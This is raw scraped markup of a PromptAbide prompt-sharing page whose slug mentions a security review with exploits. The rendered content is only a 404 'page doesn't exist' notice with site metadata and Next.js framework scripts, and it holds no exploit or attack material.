md:flex-row"><p class="text-muted-foreground text-center text-sm md:text-left">© 2026 <span class="font-medium"> PromptAbide.</span> All rights reserved.</p><button class="text-muted-foreground hover:cursor-pointer hover:text-foreground flex items-center gap-1 text-sm transition-colors" aria-label="Scroll to top">Back to top<!-- --> <svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" class="h-4 w-4" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="m5 12 7-7 7 7"></path><path d="M12 19V5"></path></svg></button></div></div></footer><section aria-label="Notifications alt+T" tabindex="-1" aria-live="polite" aria-relevant="additions text" aria-atomic="false"></section><script src="/_next/static/chunks/f1b4d49aa9e249c5.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n9:I[68027,[],\"default\"]\na:I[79340,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\"],\"AuthProvider\"]\nb:I[84131,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\"],\"PushProvider\"]\nc:I[82406,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\"],\"ThemeProvider\"]\nd:I[39756,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"default\"]\ne:I[37457,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"default\"]\nf:I[22016,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\",\"/_next/static/chunks/7e7b145973490ea1.js\",\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"/_next/static/chunks/28edb5901d2abc70.js\",\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"/_next/static/chunks/ed7006c488f1e92d.js\",\"/_next/static/chunks/a6ee48ace3a6e933.js\",\"/_next/static/chunks/31413010d6a2b8c9.js\",\"/_next/static/chunks/d586b1a866178a4f.js\",\"/_next/static/chunks/4f191beb098a85e1.js\",\"/_next/static/chunks/323ba1f1fa583a44.js\"],\"\"]\n16:I[99690,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\",\"/_next/static/chunks/7e7b145973490ea1.js\",\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"/_next/static/chunks/28edb5901d2abc70.js\",\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"/_next/static/chunks/ed7006c488f1e92d.js\",\"/_next/static/chunks/a6ee48ace3a6e933.js\"],\"default\"]\n1b:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"OutletBoundary\"]\n1c:\"$Sreact.suspense\"\n1e:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"ViewportBoundary\"]\n20:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"MetadataBoundary\"]\n22:I[13354,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\"],\"Toaster\"]\n23:I[26338,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\",\"/_next/static/chunks/7e7b145973490ea1.js\",\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"/_next/static/chunks/28edb5901d2abc70.js\",\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"/_next/static/chunks/ed7006c488f1e92d.js\",\"/_next/static/chunks/a6ee48ace3a6e933.js\"],\"default\"]\n:HL[\"/_next/static/chunks/34d933785a17edf3.css\",\"style\"]\n:HL[\"/_next/static/chunks/68e39150192feca1.css\",\"style\"]\n:HL[\"/_next/static/media/797e433ab948586e-s.p.29207c2f.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/media/caa3a2e1cccd8315-s.p.3b6cae6d.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n2:Tb58,"])</script><script>self.__next_f.push([1,"{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://promptabide.com/#organization\",\"name\":\"PromptAbide\",\"legalName\":\"PromptAbide\",\"url\":\"https://promptabide.com\",\"description\":\"Discover, test, improve, save and share what actually works with AI. Prompts come with the real result they produced and the model behind it, so you can judge one before you run it.\",\"email\":\"hello@promptabide.com\",\"logo\":{\"@type\":\"ImageObject\",\"@id\":\"https://promptabide.com/#logo\",\"url\":\"https://promptabide.com/assets/images/logo.png\",\"contentUrl\":\"https://promptabide.com/assets/images/logo.png\",\"caption\":\"PromptAbide\"},\"image\":{\"@id\":\"https://promptabide.com/#logo\"},\"address\":{\"@type\":\"PostalAddress\",\"addressLocality\":\"Noida\",\"addressRegion\":\"Uttar Pradesh\",\"addressCountry\":\"IN\"},\"contactPoint\":[{\"@type\":\"ContactPoint\",\"contactType\":\"customer support\",\"email\":\"hello@promptabide.com\",\"url\":\"https://promptabide.com/contact-us\",\"availableLanguage\":[{\"@type\":\"Language\",\"name\":\"English\",\"alternateName\":\"en\"}],\"areaServed\":\"Worldwide\",\"hoursAvailable\":{\"@type\":\"OpeningHoursSpecification\",\"description\":\"Mo-Fr 09:00-18:00 (Asia/Kolkata)\"}}],\"sameAs\":[\"https://x.com/promptabide\",\"https://www.linkedin.com/company/promptabide\",\"https://www.instagram.com/promptabide\",\"https://in.pinterest.com/Promptabide\",\"https://www.reddit.com/user/Promptabide/\"]},{\"@type\":\"WebSite\",\"@id\":\"https://promptabide.com/#website\",\"name\":\"PromptAbide\",\"url\":\"https://promptabide.com\",\"description\":\"Discover, test, improve, save and share what actually works with AI. Prompts come with the real result they produced and the model behind it, so you can judge one before you run it.\",\"inLanguage\":\"en\",\"publisher\":{\"@id\":\"https://promptabide.com/#organization\"},\"potentialAction\":{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https://promptabide.com/bides?search={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}},{\"@type\":\"WebApplication\",\"@id\":\"https://promptabide.com/#application\",\"name\":\"PromptAbide\",\"url\":\"https://promptabide.com\",\"description\":\"Discover, test, improve, save and share what actually works with AI. Prompts come with the real result they produced and the model behind it, so you can judge one before you run it.\",\"applicationCategory\":\"DeveloperApplication\",\"operatingSystem\":\"Any\",\"browserRequirements\":\"Requires JavaScript for authoring; reading works without it.\",\"inLanguage\":\"en\",\"publisher\":{\"@id\":\"https://promptabide.com/#organization\"},\"isPartOf\":{\"@id\":\"https://promptabide.com/#website\"},\"offers\":{\"@type\":\"Offer\",\"price\":\"0\",\"priceCurrency\":\"USD\",\"availability\":\"https://schema.org/InStock\",\"category\":\"Free\"},\"featureList\":[\"Discover prompts that come with the real result they produced\",\"See which model and tool produced each output\",\"Ask and answer prompt-engineering questions\",\"Follow the people whose prompts you reuse\"]}]}"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"UxB1lePUe5ymKd9L6FW93\",\"c\":[\"\",\"bides\",\"security-review-code-snippet-with-exploits\"],\"q\":\"\",\"i\":false,\"f\":[[[\"\",{\"children\":[\"(authenticated)\",{\"children\":[\"bides\",{\"children\":[[\"slug\",\"security-review-code-snippet-with-exploits\",\"d\"],{\"children\":[\"__PAGE__\",{}]}]}]}]},\"$undefined\",\"$undefined\",true],[[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/34d933785a17edf3.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"link\",\"1\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/68e39150192feca1.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/830b32cf0cb19e03.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/1ddc6e9240043f72.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"suppressHydrationWarning\":true,\"children\":[[\"$\",\"head\",null,{\"children\":[\"$\",\"script\",null,{\"type\":\"application/ld+json\",\"dangerouslySetInnerHTML\":{\"__html\":\"$2\"}}]}],\"$L3\"]}]]}],{\"children\":[\"$L4\",{\"children\":[\"$L5\",{\"children\":[\"$L6\",{\"children\":[\"$L7\",{},null,false,false]},null,false,false]},null,false,false]},null,false,false]},null,false,false],\"$L8\",false]],\"m\":\"$undefined\",\"G\":[\"$9\",[]],\"S\":false}\n"])</script><script>self.__next_f.push([1,"3:[\"$\",\"body\",null,{\"className\":\"geist_a71539c9-module__T19VSG__variable geist_mono_8d43a2aa-module__8Li5zG__variable antialiased\",\"children\":[\"$\",\"$La\",null,{\"children\":[\"$\",\"$Lb\",null,{\"children\":[\"$\",\"$Lc\",null,{\"attribute\":\"class\",\"defaultTheme\":\"system\",\"enableSystem\":true,\"disableTransitionOnChange\":true,\"children\":[[\"$\",\"$Ld\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$Le\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"section\",null,{\"className\":\"relative overflow-hidden\",\"children\":[[\"$\",\"div\",null,{\"aria-hidden\":true,\"className\":\"pointer-events-none absolute inset-0 bg-[linear-gradient(to_right,hsl(var(--foreground)/0.04)_1px,transparent_1px),linear-gradient(to_bottom,hsl(var(--foreground)/0.04)_1px,transparent_1px)] bg-[size:36px_36px] [mask-image:radial-gradient(ellipse_60%_60%_at_50%_30%,#000_60%,transparent_100%)]\"}],[\"$\",\"div\",null,{\"aria-hidden\":true,\"className\":\"pointer-events-none absolute left-1/2 top-0 h-[24rem] w-[40rem] -translate-x-1/2 rounded-full bg-[radial-gradient(closest-side,hsl(var(--color-2)/0.14),transparent)] blur-2xl\"}],[\"$\",\"div\",null,{\"className\":\"container relative mx-auto px-4 py-20 md:px-6 md:py-28 2xl:max-w-[1400px]\",\"children\":[\"$\",\"div\",null,{\"className\":\"mx-auto max-w-2xl text-center\",\"children\":[[\"$\",\"p\",null,{\"className\":\"bg-gradient-to-b from-foreground to-foreground/30 bg-clip-text text-7xl font-extrabold tracking-tight text-transparent sm:text-8xl lg:text-9xl\",\"children\":\"404\"}],[\"$\",\"h1\",null,{\"className\":\"mt-4 text-balance text-2xl font-bold tracking-tight sm:text-3xl\",\"children\":\"This page doesn't exist\"}],[\"$\",\"p\",null,{\"className\":\"mx-auto mt-4 max-w-md text-pretty text-muted-foreground\",\"children\":\"The link may be out of date, or the content might have been moved. There is plenty else to dig into.\"}],[\"$\",\"div\",null,{\"className\":\"mt-8 flex flex-col items-center justify-center gap-3 sm:flex-row\",\"children\":[[\"$\",\"$Lf\",null,{\"href\":\"/\",\"className\":\"w-full sm:w-auto\",\"children\":[\"$\",\"button\",null,{\"className\":\"inline-flex items-center justify-center gap-2 whitespace-nowrap text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [\u0026_svg]:pointer-events-none [\u0026_svg]:size-4 [\u0026_svg]:shrink-0 bg-primary text-primary-foreground shadow hover:bg-primary/90 h-10 rounded-md px-8 w-full sm:w-auto\",\"ref\":\"$undefined\",\"children\":[[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-arrow-left mr-2 size-4\",\"children\":[[\"$\",\"path\",\"1l729n\",{\"d\":\"m12 19-7-7 7-7\"}],[\"$\",\"path\",\"x3x0zl\",{\"d\":\"M19 12H5\"}],\"$undefined\"]}],\"Back to home\"]}]}],[\"$\",\"$Lf\",null,{\"href\":\"/bides\",\"className\":\"w-full sm:w-auto\",\"children\":[\"$\",\"button\",null,{\"className\":\"inline-flex items-center justify-center gap-2 whitespace-nowrap text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [\u0026_svg]:pointer-events-none [\u0026_svg]:size-4 [\u0026_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-10 rounded-md px-8 w-full sm:w-auto\",\"ref\":\"$undefined\",\"children\":\"Explore bides\"}]}]]}],[\"$\",\"div\",null,{\"className\":\"mt-14 grid gap-4 sm:grid-cols-2\",\"children\":[[\"$\",\"$Lf\",\"/bides\",{\"href\":\"/bides\",\"className\":\"group block\",\"children\":[\"$\",\"div\",null,{\"className\":\"h-full rounded-xl border border-border/60 bg-card/60 p-5 text-left backdrop-blur transition-all duration-300 hover:-translate-y-1 hover:border-border hover:shadow-lg\",\"children\":[[\"$\",\"div\",null,{\"className\":\"mb-3 flex size-9 items-center justify-center rounded-lg border border-border/60 bg-muted/60\",\"children\":\"$L10\"}],\"$L11\",\"$L12\"]}]}],\"$L13\"]}],\"$L14\"]}]}]]}],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}],\"$L15\"]}]}]}]}]\n"])</script><script>self.__next_f.push([1,"4:[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/7e7b145973490ea1.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/28edb5901d2abc70.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-4\",{\"src\":\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-5\",{\"src\":\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-6\",{\"src\":\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-7\",{\"src\":\"/_next/static/chunks/ed7006c488f1e92d.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-8\",{\"src\":\"/_next/static/chunks/a6ee48ace3a6e933.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[[\"$\",\"$L16\",null,{}],[\"$\",\"div\",null,{\"className\":\"conatiner mx-auto py-5\",\"children\":[\"$\",\"$Ld\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$Le\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"section\",null,{\"className\":\"relative overflow-hidden\",\"children\":[[\"$\",\"div\",null,{\"aria-hidden\":true,\"className\":\"pointer-events-none absolute inset-0 bg-[linear-gradient(to_right,hsl(var(--foreground)/0.04)_1px,transparent_1px),linear-gradient(to_bottom,hsl(var(--foreground)/0.04)_1px,transparent_1px)] bg-[size:36px_36px] [mask-image:radial-gradient(ellipse_60%_60%_at_50%_30%,#000_60%,transparent_100%)]\"}],[\"$\",\"div\",null,{\"aria-hidden\":true,\"className\":\"pointer-events-none absolute left-1/2 top-0 h-[24rem] w-[40rem] -translate-x-1/2 rounded-full bg-[radial-gradient(closest-side,hsl(var(--color-2)/0.14),transparent)] blur-2xl\"}],[\"$\",\"div\",null,{\"className\":\"container relative mx-auto px-4 py-20 md:px-6 md:py-28 2xl:max-w-[1400px]\",\"children\":[\"$\",\"div\",null,{\"className\":\"mx-auto max-w-2xl text-center\",\"children\":[[\"$\",\"p\",null,{\"className\":\"bg-gradient-to-b from-foreground to-foreground/30 bg-clip-text text-7xl font-extrabold tracking-tight text-transparent sm:text-8xl lg:text-9xl\",\"children\":\"404\"}],[\"$\",\"h1\",null,{\"className\":\"mt-4 text-balance text-2xl font-bold tracking-tight sm:text-3xl\",\"children\":\"This page doesn't exist\"}],[\"$\",\"p\",null,{\"className\":\"mx-auto mt-4 max-w-md text-pretty text-muted-foreground\",\"children\":\"The link may be out of date, or the content might have been moved. There is plenty else to dig into.\"}],[\"$\",\"div\",null,{\"className\":\"mt-8 flex flex-col items-center justify-center gap-3 sm:flex-row\",\"children\":[[\"$\",\"$Lf\",null,{\"href\":\"/\",\"className\":\"w-full sm:w-auto\",\"children\":[\"$\",\"button\",null,{\"className\":\"inline-flex items-center justify-center gap-2 whitespace-nowrap text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [\u0026_svg]:pointer-events-none [\u0026_svg]:size-4 [\u0026_svg]:shrink-0 bg-primary text-primary-foreground shadow hover:bg-primary/90 h-10 rounded-md px-8 w-full sm:w-auto\",\"ref\":\"$undefined\",\"children\":[[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-arrow-left mr-2 size-4\",\"children\":[[\"$\",\"path\",\"1l729n\",{\"d\":\"m12 19-7-7 7-7\"}],[\"$\",\"path\",\"x3x0zl\",{\"d\":\"M19 12H5\"}],\"$undefined\"]}],\"Back to home\"]}]}],[\"$\",\"$Lf\",null,{\"href\":\"/bides\",\"className\":\"w-full sm:w-auto\",\"children\":[\"$\",\"button\",null,{\"className\":\"inline-flex items-center justify-center gap-2 whitespace-nowrap text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [\u0026_svg]:pointer-events-none [\u0026_svg]:size-4 [\u0026_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-10 rounded-md px-8 w-full sm:w-auto\",\"ref\":\"$undefined\",\"children\":\"Explore bides\"}]}]]}],\"$L17\",\"$L18\"]}]}]]}],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}],\"$L19\"]]}]\n"])</script><script>self.__next_f.push([1,"5:[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$Ld\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$Le\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}]\n6:[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$Ld\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$Le\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}]\n7:[\"$\",\"$1\",\"c\",{\"children\":[\"$L1a\",[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/31413010d6a2b8c9.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/d586b1a866178a4f.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/4f191beb098a85e1.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/323ba1f1fa583a44.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"$L1b\",null,{\"children\":[\"$\",\"$1c\",null,{\"name\":\"Next.MetadataOutlet\",\"children\":\"$@1d\"}]}]]}]\n8:[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$L1e\",null,{\"children\":\"$L1f\"}],[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$L20\",null,{\"children\":[\"$\",\"$1c\",null,{\"name\":\"Next.Metadata\",\"children\":\"$L21\"}]}]}],[\"$\",\"meta\",null,{\"name\":\"next-size-adjust\",\"content\":\"\"}]]}]\n10:[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-compass size-4 text-foreground/80\",\"children\":[[\"$\",\"path\",\"9ktpf1\",{\"d\":\"m16.24 7.76-1.804 5.411a2 2 0 0 1-1.265 1.265L7.76 16.24l1.804-5.411a2 2 0 0 1 1.265-1.265z\"}],[\"$\",\"circle\",\"1mglay\",{\"cx\":\"12\",\"cy\":\"12\",\"r\":\"10\"}],\"$undefined\"]}]\n11:[\"$\",\"p\",null,{\"className\":\"font-semibold transition-colors group-hover:text-primary\",\"children\":\"Explore bides\"}]\n12:[\"$\",\"p\",null,{\"className\":\"mt-1 text-sm leading-relaxed text-muted-foreground\",\"children\":\"Discover prompts that come with the real result they produced.\"}]\n13:[\"$\",\"$Lf\",\"/questions\",{\"href\":\"/questions\",\"className\":\"group block\",\"children\":[\"$\",\"div\",null,{\"className\":\"h-full rounded-xl border border-border/60 bg-card/60 p-5 text-left backdrop-blur transition-all duration-300 hover:-translate-y-1 hover:border-border hover:shadow-lg\",\"children\":[[\"$\",\"div\",null,{\"className\":\"mb-3 flex size-9 items-center justify-center rounded-lg border border-border/60 bg-muted/60\",\"children\":[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-message-square size-4 text-foreground/80\",\"children\":[[\"$\",\"path\",\"1lielz\",{\"d\":\"M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z\"}],\"$undefined\"]}]}],[\"$\",\"p\",null,{\"className\":\"font-semibold transition-colors group-hover:text-primary\",\"children\":\"Q\u0026A discussions\"}],[\"$\",\"p\",null,{\"className\":\"mt-1 text-sm leading-relaxed text-muted-foreground\",\"children\":\"Ask the community, or answer someone else’s prompt question.\"}]]}]}]\n14:[\"$\",\"p\",null,{\"className\":\"mt-8 text-xs text-muted-foreground\",\"children\":[\"Machine-readable:\",\" \",[[\"$\",\"span\",\"/llms.txt\",{\"children\":[false,[\"$\",\"a\",null,{\"href\":\"/llms.txt\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"llms.txt\"}]]}],[\"$\",\"span\",\"/agent-instructions.md\",{\"children\":[[\"$\",\"span\",null,{\"aria-hidden\":true,\"children\":\" · \"}],[\"$\",\"a\",null,{\"href\":\"/agent-instructions.md\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"agent instructions\"}]]}],[\"$\",\"span\",\"/sitemap.xml\",{\"children\":[[\"$\",\"span\",null,{\"aria-hidden\":true,\"children\":\" · \"}],[\"$\",\"a\",null,{\"href\":\"/sitem"])</script><script>self.__next_f.push([1,"ap.xml\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"sitemap\"}]]}]]]}]\n15:[\"$\",\"$L22\",null,{\"position\":\"top-center\"}]\n"])</script><script>self.__next_f.push([1,"17:[\"$\",\"div\",null,{\"className\":\"mt-14 grid gap-4 sm:grid-cols-2\",\"children\":[[\"$\",\"$Lf\",\"/bides\",{\"href\":\"/bides\",\"className\":\"group block\",\"children\":[\"$\",\"div\",null,{\"className\":\"h-full rounded-xl border border-border/60 bg-card/60 p-5 text-left backdrop-blur transition-all duration-300 hover:-translate-y-1 hover:border-border hover:shadow-lg\",\"children\":[[\"$\",\"div\",null,{\"className\":\"mb-3 flex size-9 items-center justify-center rounded-lg border border-border/60 bg-muted/60\",\"children\":[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-compass size-4 text-foreground/80\",\"children\":[[\"$\",\"path\",\"9ktpf1\",{\"d\":\"m16.24 7.76-1.804 5.411a2 2 0 0 1-1.265 1.265L7.76 16.24l1.804-5.411a2 2 0 0 1 1.265-1.265z\"}],[\"$\",\"circle\",\"1mglay\",{\"cx\":\"12\",\"cy\":\"12\",\"r\":\"10\"}],\"$undefined\"]}]}],[\"$\",\"p\",null,{\"className\":\"font-semibold transition-colors group-hover:text-primary\",\"children\":\"Explore bides\"}],[\"$\",\"p\",null,{\"className\":\"mt-1 text-sm leading-relaxed text-muted-foreground\",\"children\":\"Discover prompts that come with the real result they produced.\"}]]}]}],[\"$\",\"$Lf\",\"/questions\",{\"href\":\"/questions\",\"className\":\"group block\",\"children\":[\"$\",\"div\",null,{\"className\":\"h-full rounded-xl border border-border/60 bg-card/60 p-5 text-left backdrop-blur transition-all duration-300 hover:-translate-y-1 hover:border-border hover:shadow-lg\",\"children\":[[\"$\",\"div\",null,{\"className\":\"mb-3 flex size-9 items-center justify-center rounded-lg border border-border/60 bg-muted/60\",\"children\":[\"$\",\"svg\",null,{\"ref\":\"$undefined\",\"xmlns\":\"http://www.w3.org/2000/svg\",\"width\":24,\"height\":24,\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":2,\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\",\"className\":\"lucide lucide-message-square size-4 text-foreground/80\",\"children\":[[\"$\",\"path\",\"1lielz\",{\"d\":\"M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z\"}],\"$undefined\"]}]}],[\"$\",\"p\",null,{\"className\":\"font-semibold transition-colors group-hover:text-primary\",\"children\":\"Q\u0026A discussions\"}],[\"$\",\"p\",null,{\"className\":\"mt-1 text-sm leading-relaxed text-muted-foreground\",\"children\":\"Ask the community, or answer someone else’s prompt question.\"}]]}]}]]}]\n"])</script><script>self.__next_f.push([1,"18:[\"$\",\"p\",null,{\"className\":\"mt-8 text-xs text-muted-foreground\",\"children\":[\"Machine-readable:\",\" \",[[\"$\",\"span\",\"/llms.txt\",{\"children\":[false,[\"$\",\"a\",null,{\"href\":\"/llms.txt\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"llms.txt\"}]]}],[\"$\",\"span\",\"/agent-instructions.md\",{\"children\":[[\"$\",\"span\",null,{\"aria-hidden\":true,\"children\":\" · 